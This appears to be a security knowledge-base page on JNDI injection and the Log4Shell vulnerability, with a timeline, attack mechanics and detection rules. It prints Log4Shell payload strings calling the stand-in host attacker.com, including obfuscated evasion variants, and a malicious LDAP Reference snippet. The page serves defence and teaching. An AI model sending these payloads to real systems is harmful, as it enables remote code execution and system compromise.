Skip to content

JNDI Injection

JNDI (Java Naming and Directory Interface) Injection is a subtechnique of Request Forgery where attackers exploit Java's JNDI feature to force applications into loading malicious code from remote sources. This technique is particularly dangerous because JNDI can reference and load code from various naming services (LDAP, RMI, DNS) and execute it in the application's context. When successful, JNDI injection can lead to remote code execution, data exfiltration, or complete system compromise. The vulnerability is especially critical in enterprise Java applications that process user input in logging statements or configuration parameters.

Examples in the Wild

Notable JNDI Injection Attacks:

Log4Shell (CVE-2021-44228) The Log4Shell vulnerability represents one of the most critical JNDI injection vulnerabilities ever discovered. Affecting Apache Log4j2 (versions 2.0-beta9 through 2.15.0), it allowed attackers to achieve remote code execution through malicious JNDI lookup strings in logged data. The attack affected approximately one-third of the world's web servers and led to widespread exploitation:

  • Over 100 million systems potentially vulnerable
  • Active exploitation began within hours of disclosure
  • Over 4,000 malicious payloads observed in first 24 hours
  • Affected major services including Apple iCloud, AWS, Cisco, IBM, Microsoft
  • Multiple nation-state APT groups including HAFNIUM and DIVING FOUNTAIN leveraged the vulnerability

Timeline: - November 24, 2021: Vulnerability discovered by Chen Zhaojun of Alibaba - December 9, 2021: Public disclosure and CVE assigned - December 10, 2021: First exploitation attempts detected - December 11-15, 2021: Peak of exploitation activity - Ongoing: Continues to be actively exploited against unpatched systems

Attack Mechanism

Common JNDI Injection Techniques:

  1. Basic JNDI Lookup Exploitation

    // Malicious JNDI lookup string
    String payload = "${jndi:ldap://attacker.com/exploit}";
    logger.info("User input: " + payload);
    
    // On attacker's LDAP server
    Reference payload = new Reference("ExploitClass",
        "ExploitClass",
        "http://attacker.com/");
    

  2. Protocol Variation

    // Different JNDI protocols
    String[] payloads = {
        "${jndi:rmi://attacker.com/exploit}",
        "${jndi:dns://attacker.com/exploit}",
        "${jndi:iiop://attacker.com/exploit}"
    };
    

  3. Obfuscation Techniques

    // Obfuscated JNDI payloads
    String[] obfuscated = {
        "${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a}",
        "${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}ldap://attacker.com/a}",
        "${${lower:j}ndi:ldap://attacker.com/a}"
    };
    

Detection Challenges

Why Traditional Security Tools Fail:

  1. Input Vector Diversity

    # Multiple injection points
    input_sources:
      - http_headers: "User-Agent, X-Forwarded-For"
      - request_parameters: "username, search"
      - json_fields: "nested.data.field"
      # How to monitor all vectors?
    

  2. Obfuscation Complexity

    # Obfuscation techniques
    jndi_patterns:
      - standard: "${jndi:ldap://...}"
      - nested: "${${::-j}ndi:...}"
      - env_vars: "${${env:x:-j}ndi:...}"
      # How to detect variants?
    

  3. Protocol Handling

    # Protocol validation
    lookup_protocols:
      - ldap: "common"
      - rmi: "legacy"
      - dns: "rare"
      - iiop: "uncommon"
      # Which to block?
    

Required Application Security Strategy:

# JNDI protection rules
- rule: "JNDI Lookup Detection"
  condition: |
    input.contains_jndi_pattern OR
    log.entry_has_lookup OR
    request.parameter_suspicious
  severity: critical

# Protocol restrictions
- rule: "Protocol Control"
  condition: |
    jndi.protocol_not_allowed OR
    jndi.remote_source_blocked OR
    jndi.class_loading_disabled
  severity: high

# Runtime protection
- rule: "Runtime Security"
  condition: |
    runtime.class_loading_suspicious OR
    runtime.remote_codebase_accessed OR
    runtime.unexpected_dns_query
  severity: critical

Key Detection Requirements:

  1. Input Validation
  2. Pattern matching
  3. Protocol restriction
  4. Source validation

  5. Runtime Monitoring

  6. Class loading tracking
  7. DNS query analysis
  8. Network connection validation

  9. Logging Protection

  10. Message sanitization
  11. Lookup restriction
  12. Pattern detection
References & Resources

Official Sources:

  1. MITRE ATT&CK T1190 - Exploit Public-Facing Application
  2. NVD CVE-2021-44228 - Log4Shell
  3. Apache Log4j Security

Technical Analysis:

  1. Microsoft Threat Intelligence Analysis
  2. Lunasec Technical Deep Dive
  3. CloudFlare Analysis